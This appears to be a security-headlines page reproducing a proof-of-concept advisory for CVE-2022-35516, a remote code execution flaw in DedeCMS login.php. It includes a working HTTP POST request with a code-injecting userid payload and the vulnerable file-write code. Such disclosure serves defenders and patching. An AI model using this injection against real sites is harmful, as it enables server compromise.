Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-35516: Vulnerability/Login.poc.md at main · whitehatl/Vulnerability

DedeCMS v5.7.93 - v5.7.96 was discovered to contain a remote code execution vulnerability in login.php.

CVE
#vulnerability#web#js#php#rce

Permalink

Dedecms has remote code execution

  • Affected product: Dedecms V5.7.93 - V5.7.96

  • Attack type: Remote

  • Affected component: /dede/login.php

  • Description: DedeCMS v5.7.93 was discovered to contain a remote code execution vulnerability in login.php.

  • Vendor confirmed or acknowledged: Confirmed

  • Fix information: V5.7.97 UTF-8正式版20220708安全及功能更新补丁

    POST /dede/login.php HTTP/1.1 Host: dedecms5793 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=e9ag7oevkh77gnko3cdmt7mbc2

    dopost=login&userid=%5C%27.phpinfo%28%29%3B%3F%3E&pwd=123&validate=hw0k

Details

DedeCMS v5.7.93 added the login failure lock function to file /dede/login.php to comply with relevant web security regulations. When a user fails to login, the failure message will be written to file /data/login.data.php to record the number of failed login attempts for that user.

$arr\_login\[$userid\] = "{$count},{$timestamp}";
$content = "<?php\\r\\n\\$str\_login='" . json\_encode($arr\_login) . "';";

$fp = fopen($filename, 'w') or die("写入文件 $filename 失败,请检查权限!");
fwrite($fp, $content);
fclose($fp);

The file write operation does not filter the write content sufficiently, allowing an attacker to write malicious code to the file by user name and cause remote code execution.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907